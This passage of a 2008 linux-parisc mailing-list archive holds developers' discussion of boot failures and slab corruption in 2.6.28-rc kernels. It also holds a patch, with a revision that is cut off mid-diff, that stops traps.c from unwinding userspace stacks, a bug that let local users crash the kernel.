         +S5SAIznPE0Sd1YwJQmz7cYU0y5spAwh5V9JSDO4gLRdnGZ8dRFh95flaKoq3Q71rjud
         fi+9kfKO/oVyjP5+7pXhXEK8rIQ01NIOObBjA=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=Tc2yCfSPlBEy7TX+cI+qn4gvY1NyigzmoDBLNI5WC/iLFCK46rPbZzgwv/nRVyFAH8
         E3BUVGtYz/VKwfTp1CDStLcqkC8DYWpVY3rLIu31AOuKEv/zQONuH1UHHYw3onqXvSfN
         waQbvhLE3gHX0jPL8ic3cnKE60QYQa1qtobdg=
Original-Received: by 10.142.115.20 with SMTP id n20mr1103290wfc.344.1227185873773;
        Thu, 20 Nov 2008 04:57:53 -0800 (PST)
Original-Received: by 10.142.237.8 with HTTP; Thu, 20 Nov 2008 04:57:53 -0800 (PST)
In-Reply-To: <492517F2.9060703@gmx.de>
Content-Disposition: inline
X-Google-Sender-Auth: 4a6d5bfba3693233
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:850
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/850>

On Thu, Nov 20, 2008 at 8:55 AM, Helge Deller <deller@gmx.de> wrote:

> 2) To avoid possible cross-compiler bugs I built James's ion-config (with no
> modifications at all!) on the c3k natively. It booted yesterday nicely
> without any problems from local disk. Today, I booted the same kernel, again
> with no modifications or changes at all, just the same kernel which already
> was on the disk, and it brought up a Slab corruption:
[snip]
> My conclusion is:
> There is some problem somewhere.
> It does not show up always. Changing some kernel configuration may bring the
> bug up or it may not.
> James, I think if you reboot your ion machine a few times or modify some
> kernel configs, you probably will hit the bug as well.

Well on that topic, I've seen for a while (at least with 2.6.22.*) a
similar case where the same unmodified kernel binary would, from time
to time, fail to boot the machine (stuck with the timer_interrupt
delayed message). ISTR that happened most frequently on my A500-5X.
That may be something else, but the point is the symptom that "a given
kernel behaves differently across reboots" is not something new, if
that helps...

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Thu, 20 Nov 2008 10:14:38 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <20081120151439.1AF714EDF@hiauly1.hia.nrc.ca>
References: <492517F2.9060703@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227194174 4577 80.91.229.12 (20 Nov 2008 15:16:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 20 Nov 2008 15:16:14 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 20 16:17:12 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L3BG4-00026j-Hs
	for glpp-linux-parisc@gmane.org; Thu, 20 Nov 2008 16:15:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751307AbYKTPOl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Nov 2008 10:14:41 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754845AbYKTPOl
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 20 Nov 2008 10:14:41 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4262 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751307AbYKTPOk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Nov 2008 10:14:40 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 1AF714EDF; Thu, 20 Nov 2008 10:14:38 -0500 (EST)
In-Reply-To: <492517F2.9060703@gmx.de> from "Helge Deller" at Nov 20, 2008 08:55:30 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:851
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/851>

> But I continued with testing:
> 1) I modified James's ion-config for netbooting and built it. Crashed 
> same way as Dave just reported in another mail (DEBUG_BLOCK_EXT_DEVT is 
> enabled, you need to specify explicit textual name for "root=" boot option.)

In my case, the "root=" option was specified in the palo command line,
and I still got the error.  Tried booting several times and the same error
occurred each time.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Thu, 20 Nov 2008 11:57:00 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <20081120165701.52A09431A@hiauly1.hia.nrc.ca>
References: <20081120035103.E1C62431A@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227200256 29112 80.91.229.12 (20 Nov 2008 16:57:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 20 Nov 2008 16:57:36 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 20 17:58:29 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L3Cr9-0005oq-MH
	for glpp-linux-parisc@gmane.org; Thu, 20 Nov 2008 17:58:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752142AbYKTQ5E (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Nov 2008 11:57:04 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750968AbYKTQ5E
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 20 Nov 2008 11:57:04 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4273 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752142AbYKTQ5D (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Nov 2008 11:57:03 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 52A09431A; Thu, 20 Nov 2008 11:57:00 -0500 (EST)
In-Reply-To: <20081120035103.E1C62431A@hiauly1.hia.nrc.ca> from "John David Anglin" at Nov 19, 2008 10:51:03 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:852
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/852>

> VFS: Cannot open root device "sda3" or unknown-block(0,0)
> Please append a correct "root=" boot option; here are the available partitions:
> DEBUG_BLOCK_EXT_DEVT is enabled, you need to specify explicit textual name for "root=" boot option.
> Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0)
> Rebooting in 5 seconds..

I would guess this is because the kernel is in the palo partition.  2.6.27
doesn't have this problem...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix kernel crash when unwinding a userspace process
Date: Thu, 20 Nov 2008 22:58:56 +0100
Lines: 124
Approved: news@gmane.org
Message-ID: <200811202258.56561.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227218435 32286 80.91.229.12 (20 Nov 2008 22:00:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 20 Nov 2008 22:00:35 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	Kyle Mc Martin <kyle@hera.kernel.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Randolph Chung <randolph@tausq.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 20 23:01:35 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L3HaX-0003QN-Bk
	for glpp-linux-parisc@gmane.org; Thu, 20 Nov 2008 23:01:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752005AbYKTWAO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Nov 2008 17:00:14 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755554AbYKTWAO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 20 Nov 2008 17:00:14 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:33625 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752005AbYKTWAM (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Nov 2008 17:00:12 -0500
Original-Received: (qmail invoked by alias); 20 Nov 2008 22:00:09 -0000
Original-Received: from mnhm-590e0b6f.pool.einsundeins.de (EHLO p100.box) [89.14.11.111]
  by mail.gmx.net (mp053) with SMTP; 20 Nov 2008 23:00:09 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+GUC0fnCmGCKIMt+KO5GAMjEDsalIPbxsuRWjFpY
	yIZeV+vP5XQtrn
Content-Disposition: inline
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@
	13<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"':
	t"f6wKtHUPFB&/]Z5^?9~IQs=16R;Pg"NS9JD=DK!ft&4b@S~&q/MfI3;qWqlg7Q1==jS4
	9V5OJkm$WQ[dc^_Y']DvibvMjizUZ]+'Jd4UnM><yrT}Rw(
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.42
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:853
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/853>

Any user on existing parisc 32- and 64bit-kernels can easily crash
the kernel and as such enforce a DSO.
A simple testcase is available here: 
	http://gsyprf10.external.hp.com/~deller/crash.tgz

The problem is introduced by the fact, that the handle_interruption()
crash handler calls the show_regs() function, which in turn tries
to unwind the stack by calling parisc_show_stack().
Since the stack contains userspace addresses, a try to unwind 
the stack is dangerous and useless and leads to the crash.

The fix is trivial: For userspace processes
a) avoid to unwind the stack, and
b) avoid to resolve userspace addresses to kernel symbol names.

While touching this code, I converted print_symbol() to %pS 
printk formats and made parisc_show_stack() static.

An initial patch for this was written by Kyle McMartin back in August:
http://marc.info/?l=linux-parisc&m=121805168830283&w=2

Compile and run-tested with a 64bit parisc kernel.
Patches for -stable series will follow shortly.

Signed-off-by: Helge Deller <deller@gmx.de>


diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 675f1d0..acea2dc 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -24,7 +24,6 @@
 #include <linux/init.h>
 #include <linux/interrupt.h>
 #include <linux/console.h>
-#include <linux/kallsyms.h>
 #include <linux/bug.h>
 
 #include <asm/assembly.h>
@@ -51,7 +50,7 @@
 DEFINE_SPINLOCK(pa_dbit_lock);
 #endif
 
-void parisc_show_stack(struct task_struct *t, unsigned long *sp,
+static void parisc_show_stack(struct task_struct *task, unsigned long *sp,
 	struct pt_regs *regs);
 
 static int printbinary(char *buf, unsigned long x, int nbits)
@@ -121,18 +120,19 @@ static void print_fr(char *level, struct pt_regs *regs)
 
 void show_regs(struct pt_regs *regs)
 {
-	int i;
+	int i, user;
 	char *level;
 	unsigned long cr30, cr31;
 
-	level = user_mode(regs) ? KERN_DEBUG : KERN_CRIT;
+	user = user_mode(regs);
+	level = user ? KERN_DEBUG : KERN_CRIT;
 
 	print_gr(level, regs);
 
 	for (i = 0; i < 8; i += 4)
 		PRINTREGS(level, regs->sr, "sr", RFMT, i);
 
-	if (user_mode(regs))
+	if (user)
 		print_fr(level, regs);
 
 	cr30 = mfctl(30);
@@ -145,14 +145,14 @@ void show_regs(struct pt_regs *regs)
 	printk("%s CPU: %8d   CR30: " RFMT " CR31: " RFMT "\n",
 	       level, current_thread_info()->cpu, cr30, cr31);
 	printk("%s ORIG_R28: " RFMT "\n", level, regs->orig_r28);
-	printk(level);
-	print_symbol(" IAOQ[0]: %s\n", regs->iaoq[0]);
-	printk(level);
-	print_symbol(" IAOQ[1]: %s\n", regs->iaoq[1]);
-	printk(level);
-	print_symbol(" RP(r2): %s\n", regs->gr[2]);
-
-	parisc_show_stack(current, NULL, regs);
+
+	if (!user) {
+		printk("%s IAOQ[0]: %pS\n", level, (void *) regs->iaoq[0]);
+		printk("%s IAOQ[1]: %pS\n", level, (void *) regs->iaoq[1]);
+		printk("%s RP(r2): %pS\n", level, (void *) regs->gr[2]);
+
+		parisc_show_stack(current, NULL, regs);
+	}
 }
 
 
@@ -173,20 +173,15 @@ static void do_show_stack(struct unwind_frame_info *info)
 			break;
 
 		if (__kernel_text_address(info->ip)) {
-			printk("%s [<" RFMT ">] ", (i&0x3)==1 ? KERN_CRIT : "", info->ip);
-#ifdef CONFIG_KALLSYMS
-			print_symbol("%s\n", info->ip);
-#else
-			if ((i & 0x03) == 0)
-				printk("\n");
-#endif
+			printk(KERN_CRIT " [<" RFMT ">] %pS\n",
+				info->ip, (void *) info->ip);
 			i++;
 		}
 	}
-	printk("\n");
+	printk(KERN_CRIT "\n");
 }
 
-void parisc_show_stack(struct task_struct *task, unsigned long *sp,
+static void parisc_show_stack(struct task_struct *task, unsigned long *sp,
 	struct pt_regs *regs)
 {
 	struct unwind_frame_info info;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix kernel crash when unwinding a userspace process
Date: Fri, 21 Nov 2008 18:11:49 +0800
Lines: 24
Approved: news@gmane.org
Message-ID: <49268965.7010401@tausq.org>
References: <200811202258.56561.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227262343 8782 80.91.229.12 (21 Nov 2008 10:12:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 21 Nov 2008 10:12:23 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Kyle Mc Martin <kyle@hera.kernel.org>,
	Andrew Morton <akpm@linux-foundation.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 21 11:13:23 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L3T0t-00038r-3k
	for glpp-linux-parisc@gmane.org; Fri, 21 Nov 2008 11:13:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752903AbYKUKML (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 21 Nov 2008 05:12:11 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752870AbYKUKML
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 21 Nov 2008 05:12:11 -0500
Original-Received: from ti-out-0910.google.com ([209.85.142.185]:18868 "EHLO
	ti-out-0910.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752805AbYKUKMK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 21 Nov 2008 05:12:10 -0500
Original-Received: by ti-out-0910.google.com with SMTP id b6so585101tic.23
        for <linux-parisc@vger.kernel.org>; Fri, 21 Nov 2008 02:12:08 -0800 (PST)
Original-Received: by 10.110.63.6 with SMTP id l6mr482341tia.50.1227262328165;
        Fri, 21 Nov 2008 02:12:08 -0800 (PST)
Original-Received: from ?192.168.100.76? (ip127.bb146.pacific.net.hk [202.64.146.127])
        by mx.google.com with ESMTPS id u8sm144520tia.8.2008.11.21.02.12.02
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Fri, 21 Nov 2008 02:12:05 -0800 (PST)
User-Agent: Thunderbird 2.0.0.18 (Windows/20081105)
In-Reply-To: <200811202258.56561.deller@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:854
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/854>

Helge Deller wrote:
> Any user on existing parisc 32- and 64bit-kernels can easily crash
> the kernel and as such enforce a DSO.
> A simple testcase is available here: 
> 	http://gsyprf10.external.hp.com/~deller/crash.tgz
> 
> The problem is introduced by the fact, that the handle_interruption()
> crash handler calls the show_regs() function, which in turn tries
> to unwind the stack by calling parisc_show_stack().
> Since the stack contains userspace addresses, a try to unwind 
> the stack is dangerous and useless and leads to the crash.

Helge,

I think this is ok, but can you preserve the printing of IAOQ/RP even 
for user processes?

randolph

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix kernel crash when unwinding a userspace process
Date: Fri, 21 Nov 2008 15:02:22 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <4926BF6E.3050907@gmx.de>
References: <200811202258.56561.deller@gmx.de> <49268965.7010401@tausq.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227276175 23328 80.91.229.12 (21 Nov 2008 14:02:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 21 Nov 2008 14:02:55 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Kyle Mc Martin <kyle@hera.kernel.org>,
	Andrew Morton <akpm@linux-foundation.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 21 15:03:56 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L3Wbm-0005Sb-Iz
	for glpp-linux-parisc@gmane.org; Fri, 21 Nov 2008 15:03:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752029AbYKUOCa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 21 Nov 2008 09:02:30 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752170AbYKUOCa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 21 Nov 2008 09:02:30 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:57426 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752029AbYKUOCa (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 21 Nov 2008 09:02:30 -0500
Original-Received: (qmail invoked by alias); 21 Nov 2008 14:02:27 -0000
Original-Received: from mnhm-590f71b4.pool.einsundeins.de (EHLO halden.box) [89.15.113.180]
  by mail.gmx.net (mp035) with SMTP; 21 Nov 2008 15:02:27 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18ox2IcLvgoz0cUe5A6AaGsS0Dxv9jp3n+Ekv2pfa
	Gob+gq5pNinsjV
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <49268965.7010401@tausq.org>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.65
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:855
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/855>

Randolph Chung wrote:
> Helge Deller wrote:
>> Any user on existing parisc 32- and 64bit-kernels can easily crash
>> the kernel and as such enforce a DSO.
>> A simple testcase is available here: 
>>     http://gsyprf10.external.hp.com/~deller/crash.tgz
>>
>> The problem is introduced by the fact, that the handle_interruption()
>> crash handler calls the show_regs() function, which in turn tries
>> to unwind the stack by calling parisc_show_stack().
>> Since the stack contains userspace addresses, a try to unwind the 
>> stack is dangerous and useless and leads to the crash.
> 
> Helge,
> 
> I think this is ok, but can you preserve the printing of IAOQ/RP even 
> for user processes?

Thanks Randolph,

You are probably right. It's better to stay consistent for debugging and 
you'll see the important registers at once.
I'll respin a new patch.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix kernel crash when unwinding a userspace process (v2)
Date: Fri, 21 Nov 2008 15:16:50 +0100
Lines: 127
Approved: news@gmane.org
Message-ID: <200811211516.50750.deller@gmx.de>
References: <200811202258.56561.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227277252 27786 80.91.229.12 (21 Nov 2008 14:20:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 21 Nov 2008 14:20:52 +0000 (UTC)
Cc: Kyle Mc Martin <kyle@hera.kernel.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Randolph Chung <randolph@tausq.org>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 21 15:21:53 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L3WtM-0004W0-6G
	for glpp-linux-parisc@gmane.org; Fri, 21 Nov 2008 15:21:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752998AbYKUOUk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 21 Nov 2008 09:20:40 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752973AbYKUOUk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 21 Nov 2008 09:20:40 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:58179 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752784AbYKUOUj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 21 Nov 2008 09:20:39 -0500
Original-Received: (qmail invoked by alias); 21 Nov 2008 14:20:37 -0000
Original-Received: from mnhm-590f71b4.pool.einsundeins.de (EHLO p100.box) [89.15.113.180]
  by mail.gmx.net (mp064) with SMTP; 21 Nov 2008 15:20:37 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+GHgQC2HKG5rt43HJgbixgqm7ujqGEvM0/Gm7qWI
	izVTsixJR7jXJt
User-Agent: KMail/1.9.7
In-Reply-To: <200811202258.56561.deller@gmx.de>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
 =?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.41
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:856
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/856>

Any user on existing parisc 32- and 64bit-kernels can easily crash
the kernel and as such enforce a DSO.
A simple testcase is available here: 
        http://gsyprf10.external.hp.com/~deller/crash.tgz

The problem is introduced by the fact, that the handle_interruption()
crash handler calls the show_regs() function, which in turn tries
to unwind the stack by calling parisc_show_stack().
Since the stack contains userspace addresses, a try to unwind 
the stack is dangerous and useless and leads to the crash.

The fix is trivial: For userspace processes
a) avoid to unwind the stack, and
b) avoid to resolve userspace addresses to kernel symbol names.

While touching this code, I converted print_symbol() to %pS 
printk formats and made parisc_show_stack() static.

An initial patch for this was written by Kyle McMartin back in August:
http://marc.info/?l=linux-parisc&m=121805168830283&w=2

Compile and run-tested with a 64bit parisc kernel.
Patches for -stable series will follow shortly.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 675f1d0..4c771cd 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -24,7 +24,6 @@
 #include <linux/init.h>
 #include <linux/interrupt.h>
 #include <linux/console.h>
-#include <linux/kallsyms.h>
 #include <linux/bug.h>
 
 #include <asm/assembly.h>
@@ -51,7 +50,7 @@
 DEFINE_SPINLOCK(pa_dbit_lock);
 #endif
 
-void parisc_show_stack(struct task_struct *t, unsigned long *sp,
+static void parisc_show_stack(struct task_struct *task, unsigned long *sp,
 	struct pt_regs *regs);
 
